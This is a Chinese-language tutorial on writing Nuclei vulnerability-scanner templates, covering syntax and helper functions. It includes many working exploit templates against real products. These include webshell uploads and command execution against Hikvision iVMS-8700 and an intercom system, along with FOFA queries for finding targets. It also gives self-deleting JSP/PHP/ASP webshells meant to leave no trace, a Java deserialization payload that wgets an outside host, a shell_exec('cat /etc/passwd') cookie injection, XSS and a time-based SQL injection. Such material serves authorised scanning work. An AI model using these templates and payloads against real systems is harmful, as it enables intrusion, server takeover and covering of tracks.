跳到主要内容

Nuclei_poc模版编写

测试销毁代码

有时候Nuclei只为了验证不想留下痕迹时,可以使用以下验证代码,实现访问(验证)一次后自删除的效果,也可以利用该代码达到覆盖并删除之前文件的效果。

JSP

<% out.println("{{randstr}}");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

PHP

<?php echo "{{randstr}}";unlink(__FILE__); ?>

ASP

<%@ Page Language="C#"%><% Response.Write("{{randstr}}");System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>

id

ID 不得包含空格。这样做是为了让输出解析更容易。

id: git-config

信息

下面信息块为 名称作者严重性描述标签

info:
name: Git Config File Detection Template
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
tags: git,config

实际请求和相应的匹配器被放置在信息块下方,它们执行向目标服务器发出请求并查找模板请求是否成功的任务。

请求

HTTP 请求以一个request块开始,该块指定模板请求的开始。

requests:

原始 HTTP 请求

常用的创建请求的方法是使用原始请求,它具有更大的灵活性和对 DSL 辅助函数的支持,例如以下请求(现在建议将Host标头保留为示例中的变量{{Hostname}})、所有匹配器、提取器功能可以以与上述相同的方式与 RAW 请求一起使用。

requests:
- raw:
- |
POST /path2/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

a=test&b=pd

RAW 请求格式还支持各种辅助函数

    raw:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.

重定向

默认情况下不支持重定向。如果有需要,可以添加redirects: true在请求详细信息中启用。然后使用max-redirects字段,后面的数字是允许重定向的次数,默认情况下最多遵循 10 个重定向。

requests:
redirects: true
max-redirects: 3

Session

在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。

# cookie-reuse accepts boolean input and false as default
cookie-reuse: true

路径

请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{}}结尾并且区分大小写。

{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。
{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。
{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。
{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。
{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。
{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。
{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。
{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。
VariableValue
{{BaseURL}}https://example.com:443/foo/bar.php
{{RootURL}}https://example.com:443
{{Hostname}}example.com:443
{{Host}}example.com
{{Port}}443
{{Path}}/foo
{{File}}bar.php
{{Scheme}}https

请求条件

请求条件允许检查多个请求之间的条件,以编写复杂的检查和涉及多个 HTTP 请求的漏洞利用以完成漏洞利用链。

使用 DSL 匹配器,可以通过添加req-condition: true和 作为后缀的数字来使用相应的属性,status_code_1例如。status_code_3 body_2

    req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"

不安全的 HTTP 请求

Nuclei 支持rawhttp以实现完整的请求控制和自定义,允许针对 HTTP 请求走私、host头注入、带有畸形字符的 CRLF 等问题 的任何类型的畸形请求

rawhttp库默认是禁用的,可以通过包含unsafe: true在请求块中来启用。

requests:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1
- |+
GET /post?postId=5 HTTP/1.1
Host: {{Hostname}}

unsafe: true # Enables rawhttp client
matchers:
- type: dsl
dsl:
- 'contains(body, "<script>alert(1)</script>")'

条件竞争

竞争条件是另一类不易通过传统工具自动化的错误。Burp Suite 为 Turbo Intruder 引入了一种 Gate 机制,其中所有请求的所有字节都被发送,期望同时发送最后一个字节,仅针对同步发送事件的所有请求一起发送。

nuclei 引擎中实现了Gate机制,并允许它们通过模板运行,这使得对该特定 bug 类的测试变得简单且可移植。

要在模板中启用竞争条件检查,race可以将属性设置为truerace_count定义要启动的同时请求的数量。

下面是一个示例模板,其中使用逻辑相同的请求 10 次。

id: race-condition-testing

info:
name: Race condition testing
author: pdteam
severity: info

requests:
- raw:
- |
POST /coupons HTTP/1.1
Host: {{Hostname}}

promo_code=20OFF

race: true
race_count: 10

matchers:
- type: status
part: header
status:
- 200

多请求竞争条件测试

对于需要发送多个请求以利用竞争条件的场景,我们可以使用线程。

下面是一个示例模板,其中将使用同时发送多个 (5) 请求。

    threads: 5
race: true

threads是使用模板发出的用于执行竞争条件测试的请求总数。

id: multi-request-race

info:
name: Race condition testing with multiple requests
author: pd-team
severity: info

requests:
- raw:
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

id=1

- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

id=2

- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

id=3

- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

id=4

- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

id=5

threads: 5
race: true

官方说明

官方文档:https://docs.nuclei.sh/getting-started/overview

nuclei 2.9.1 版本更新了模板格式,建议将 nuclei 版本升级至 2.9.1 或更高版本以确保正确解析模板格式

===========================示例模板===================
id: template-id

info:
name: Template Name
author: test
severity: info
description: 漏洞详情描述
reference:
- https://Template.nuclei.sh
# 元数据节点,与 uncover 集成的格式如下:<engine>-query: '<query>'
metadata:
max-request: 2
fofa-query: 'body="公司"'
shodan-query: 'vuln:CVE-2021-26855'
hunter-query: 'web.body="公司"'
tags: tags

# 自定义模版变量,自2.6.9版本开始支持
variables:
first_1: "{{rand_int(8, 20)}}"
first_2: "{{rand_int(100, 1000)}}"

http:
# 解析 raw 格式请求
- raw:
- |-
POST /{{Path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"pageNum":1,"pageSize":{{PageSize}}}

payloads:
header: helpers/wordlists/header.txt
Path:
- 'api/selectContentManagePage'
PageSize:
- "{{first_1}}"
- "{{first_2}}"
attack: clusterbomb # 定义HTTP模糊攻击类型,可用类型: batteringram,pitchfork,clusterbomb

matchers-condition: and
matchers:
- type: dsl
dsl:
# 检查Cookie的MD5校验和是否包含在大写的请求体中
- "contains(toupper(body), md5(cookie))"
- "contains(header, 'application/json')"
- "contains(body, 'pageSize')"
- "contains(body_1, 'pageSize') && contains(body_2, 'pageNum')"
- "status_code == 200"
- "status_code_1 == 404 && status_code_2 == 200"
condition: and

- type: dsl
dsl:
# 检测相应包的长度
- "len(body_1) != 0"
# 基于DSL的持续时间匹配器,当响应时间与定义的持续时间匹配时返回true,示例为大于等于6秒
- 'duration>=6'
condition: and

# 匹配变量
- type: word
part: body
words:
- "{{first_2}}"

# Interactsh匹配器,需要和使用 {{interactsh_url}}
# 可匹配 interactsh_protocol、interactsh_request和 interactsh_response 三处

# 确认HTTP交互
- type: word
part: interactsh_protocol
words:
- "http"

# 确认检索/etc/passwd文件
- type: regex
part: interactsh_request
regex:
- "root:[x*]:0:0:"

# 确认DNS交互
- type: word
part: interactsh_response
words:
- "dns"

# 二进制流匹配
- type: binary
binary:
- "504B0304" # zip archive
- "526172211A070100" # RAR archive version 5.0
- "FD377A585A0000" # xz tar.xz archive
condition: or # 指定单个匹配器内多个条件的与或关系
part: body

- type: word
encoding: hex
words:
- "50494e47"
part: body

# 否定匹配器,对匹配器结果进行取反
- type: word
words:
- "PHPSESSID"
part: header
negative: true

extractors:
- type: regex
# 为提取的信息命名,方便调用,可省略
name: api
part: body
# 避免在终端中打印提取的值,使用动态变量时必须添加此标志
internal: true
regex:
- "(?m)[0-9]{3,10}\.[0-9]+"

----------------------------分割线----------------------------
# 嵌套表达式
❌ {{url_decode({{base64_decode('SGVsbG8=')}})}}
✔ {{url_decode(base64_decode('SGVsbG8='))}}

# 如果需要在 extractor 中使用,比如将 extractor 提取的变量值 test 进行处理
{{url_decode(base64_decode('{{test}}'))}}

----------------------------分割线----------------------------
# 自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描
http:
- raw:
- |
GET /plugins/servlet/oauth/users/icon-uri?consumerUri={{interactsh-url}} HTTP/1.1
Host: {{Hostname}}

----------------------------分割线----------------------------
# JAVA反序列化: https://docs.nuclei.sh/template-guide/helper-functions#deserialization-helper-functions
http:
- raw:
- |
POST /index.faces;jsessionid=x HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

----------------------------分割线----------------------------
# 发送一个GET请求
http:
- method: GET
path:
- "{{BaseURL}}/actuator/env"
- "{{BaseURL}}/login"
- "{{BaseURL}}/thumbs.db"
- "{{BaseURL}}/.svn/wc.db"
# 发送一些头部信息给服务器的示例
headers:
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"

# skip-variables-check 可以使 nuclei 不要解析请求内容中 `{{` 为变量
skip-variables-check: true

# 如果模板中包含多个扫描路径,当第一个路径匹配成功时,会自动停止后续路径的扫描,这不会影响其他模板
stop-at-first-match: true

# 单位 bytes- 从服务器响应中读取的最大值
max-size: 500

----------------------------分割线----------------------------
id: wp-related-post-xss

http:
# 发送一个POST请求
- method: POST
path:
- '{{RootURL}}/wp-login.php'
headers:
Content-Type: application/x-www-form-urlencoded
body: 'log={{username}}&pwd={{password}}&wp-submit=Log+In'

- method: GET
path:
- '{{RootURL}}/wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3Ep'

# cookie-reuse 参数为 true,在多个请求之间维护基于 cookie 的会话,该参数接受布尔类型的输入,默认值为 false。
cookie-reuse: true

# req-condition 与 DSL表达式匹配器一起使用,它允许逻辑表达式包含跨多个请求/响应的条件
# 在模板中添加 "req-condition: true" 选项,响应的属性可以使用 "<请求编号>" 后缀来引用特定的响应,例如 status_code_1、status_code_3 或 body_2
req-condition: true

matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(header, 'text/html')"
- "contains(body_1, '<img src=x onerror=alert(document.domain)>&action=edit') && contains(body_2, 'All Posts</a>')"
- "status_code == 200"
condition: and

----------------------------分割线----------------------------
# @timeout 请求注解
id: PrestaShop_Product_Comments_SQL_Injection_CVE-2020-26248

http:
- raw:
- |
# @timeout 是请求注解的一种,⽤于覆盖默认的请求超时时间
@timeout: 20s
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
Host: {{Hostname}}

matchers:
- type: dsl
dsl:
- 'duration>=6 && status_code == 200'
- 'contains(content_type, "application/json") && contains(body, "average_grade")'
condition: and

----------------------------分割线----------------------------
# "self-contained"通常在批量检测API可用性时使用
# 假设你通过信息泄露获得了一个API密钥,但不知道这个密钥属于哪个服务,也没有其他特征可供参考。这时,你只能逐个尝试各个官方API接口,看哪个平台能够成功验证该密钥。
id: example-self-contained-input

self-contained: true
http:
- raw:
- |
GET https://example.com:443/gg HTTP/1.1
Host: example.com:443
https://docs.nuclei.sh/template-guide/helper-functions

----------------------------分割线----------------------------
# https://example.com:443/foo/bar.php

{{BaseURL}} # https://example.com:443/foo/bar.php
{{RootURL}} # https://example.com:443
{{Hostname}} # example.com:443
{{Host}} # example.com
{{Port}} # 443
{{Path}} # /foo
{{File}} # bar.php
{{Scheme}} # https

----------------------------分割线----------------------------
# 重点配置参数备忘:

# skip-variables-check 可以使 nuclei 不要解析请求内容中 `{{` 为变量
skip-variables-check: true

# 如果模板中包含多个扫描路径,当第一个路径匹配成功时,会自动停止后续路径的扫描,这不会影响其他模板
stop-at-first-match: true

# 单位 bytes- 从服务器响应中读取的最大值
max-size: 500

# cookie-reuse 参数为 true,在多个请求之间维护基于 cookie 的会话,该参数接受布尔类型的输入,默认值为 false。
cookie-reuse: true

# req-condition 与 DSL表达式匹配器一起使用,它允许逻辑表达式包含跨多个请求/响应的条件
# 在模板中添加 "req-condition: true" 选项,响应的属性可以使用 "<请求编号>" 后缀来引用特定的响应,例如 status_code_1、status_code_3 或 body_2
req-condition: true

redirects: true # 启用重定向
max- redirects: 3 # 允许重定向的次数,默认值为 10

----------------------------分割线----------------------------
# 返回输入的长度

{{len("Hello")}}
{{len(5555)}}

----------------------------分割线----------------------------
# 随机字段

{{randstr}}
{{rand_int(10)}}

----------------------------分割线----------------------------
# 大小写转换

{{to_lower("HELLO")}} #将输入转换为小写字符
{{to_upper("hello")}} #将输入转换为大写字符

----------------------------分割线----------------------------
# 编码转换

{{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} #对输入字符串进行URL解码
{{url_encode("https://projectdiscovery.io/test?a=1")}} #对输入字符串进行URL编码

{{hex_decode("6161")}}
{{hex_encode("aa")}}

{{sha1("Hello")}}
{{sha256("Hello")}}

{{base64("Hello")}}
{{base64(1234)}}
{{base64_decode("SGVsbG8=")}}
{{base64_py("Hello")}} #像Python一样将字符串编码为Base64(包含换行符)

{{md5("Hello")}}
{{md5(1234)}}

----------------------------分割线----------------------------
{{rand_base(5)}}
{{rand_base(5, "abc")}}
{{rand_char("abc")}}
{{rand_char()}}
{{rand_int()}}
{{rand_int(1, 10)}}
{{rand_text_alpha(10)}}
{{rand_text_alpha(10, "abc")}}
{{rand_text_alphanumeric(10)}}
{{rand_text_alphanumeric(10, "ab12")}}
{{rand_text_numeric(10)}}
{{rand_text_numeric(10, 123)}}

----------------------------分割线----------------------------
# 验证字符串是否包含子字符串
{{contains("Hello", "lo")}}

----------------------------分割线----------------------------

{{generate_java_gadget("commons-collections3.1", "wget {{interactsh-url}}", "base64")}}
{{gzip("Hello")}}
{{html_escape("<body>test</body>")}}
{{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
{{mmh3("Hello")}}
{{print_debug(1+2, "Hello")}}
{{regex("H([a-z]+)o", "Hello")}}
{{remove_bad_chars("abcd", "bc")}}
{{repeat("../", 5)}}
{{replace("Hello", "He", "Ha")}}
{{replace_regex("He123llo", "(\d+)", "")}}
{{reverse("abc")}}
{{trim("aaaHelloddd", "ad")}}
{{trim_left("aaaHelloddd", "ad")}}
{{trim_prefix("aaHelloaa", "aa")}}
{{trim_right("aaaHelloddd", "ad")}}
{{trim_space(" Hello ")}}
{{trim_suffix("aaHelloaa", "aa")}}
{{unix_time(10)}}
{{wait_for(1)}}

----------------------------分割线----------------------------
# www.projectdiscovery.io

{{FQDN}} # www.projectdiscovery.io
{{RDN}} # projectdiscovery.io
{{DN}} # projectdiscovery
{{SD}} # www
{{TLD}} # io

模板范例

1

id: HHIKVISION_iVMS-8700_upload

info:
name: HHIKVISION iVMS-8700 upload Webshell file
author: zerZero Trust Security Attack and Defense Laboratory
severity: high
description: |
HHIKVISION iVMS-8700 Comprehensive Security Management Platfor upload Webshell file
metadata:
fofa-query: icon_hash="-911494769"
hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685"


variables:
str0: '{{BaseURL}}/eps/api/resourceOperations/uploadsecretKeyIbuilding' #定义变量,{{BaseURL}}替换为目标文件中指定的输入 URL

http:
- raw:
- |
POST /eps/api/resourceOperations/upload?token={{toupper(md5(str0))}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Android 3.2.5; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 184
Content-Type: multipart/form-data; boundary=c4155aff43901a8b2a19a4641a5efa15

--c4155aff43901a8b2a19a4641a5efa15
Content-Disposition: form-data; name="fileUploader"; filename="test.jsp"
Content-Type: image/jpeg

{{randstr}} #随机字段
--c4155aff43901a8b2a19a4641a5efa15--

- |
GET /eps/upload/{{name}}.jsp HTTP/1.1 #{{name}}调用extractors提取的响应包中的文件名
Host: {{Hostname}}

extractors:
- type: json # 根据json响应提取文件名
name: name # 为提取的信息命名,方便调用
json:
- ".data.resourceUuid" #匹配参数的值,参考下面截图
internal: true # 避免在终端中打印提取的值,使用动态变量时必须添加此标志

matchers:
- type: word
words:
- '{{randstr}}' #匹配请求时生成的随机字段

image-20240409170158183

2

id: HIKVISION_iVMS-8700_upload.action

info:
name: HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 upload Webshell file
author: Zero Trust Security Attack and Defense Laboratory
severity: high
description: |
HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 There is an arbitrary file upload vulnerability where attackers can control the server by sending specific request packets to upload Webshell files
metadata:
fofa-query: icon_hash="-911494769"
hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685"


variables: #定义变量
str1: '{{rand_base(6)}}' #生成6位随机数字字母
str2: '{{rand_base(6)}}'
str3: '<%out.print("{{str2}}");%>' #应用上面定义的变量

http:
- raw:
- |
POST /eps/resourceOperations/upload.action HTTP/1.1
Host: {{Hostname}} #替换为主机名,包括运行时目标的端口
User-Agent: MicroMessenger
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTJyhtTNqdMNLZLhj

------WebKitFormBoundaryTJyhtTNqdMNLZLhj
Content-Disposition: form-data; name="fileUploader";filename="{{str1}}.jsp"
Content-Type: image/jpeg

{{str3}}
------WebKitFormBoundaryTJyhtTNqdMNLZLhj--

- |
GET /eps/upload/{{res_id}}.jsp HTTP/1.1
Host: {{Hostname}}

extractors:
- type: json
name: res_id # 为提取的信息命名,方便调用
json:
- ".data.resourceUuid" #匹配参数的值,参考上面截图
internal: true # 避免在终端中打印提取的值,使用动态变量时必须添加此标志

matchers:
- type: dsl #使用DSL匹配器匹配对应内容
dsl:
- body_2 == str2 #body_2表示第二个请求的响应体中的内容(body_1则表示第一个,若请求只有一个可直接以body表示)

3

id: hikvision-spon-rce
info:
name: 海康威视IP网络对讲广播系统存在命令执行漏洞
author: BY
severity: high
description: |
大海康威视IP网络对讲广播系统存在命令执行漏洞
tags: 2023,hikvision,rce
metadata:
max-request: 2 #表示为运行特定模板而发出的最大请求数,这将有助于提前了解在时间或请求方面将消耗的总体资源
fofa-query: icon_hash="-1830859634"
verified: true #是否验证

requests:
- raw:
- |
POST /php/ping.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 43
Connection: close

jsondata[type]=3&jsondata[ip]=ipconfig
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code==200 && contains(body,"IPv4")'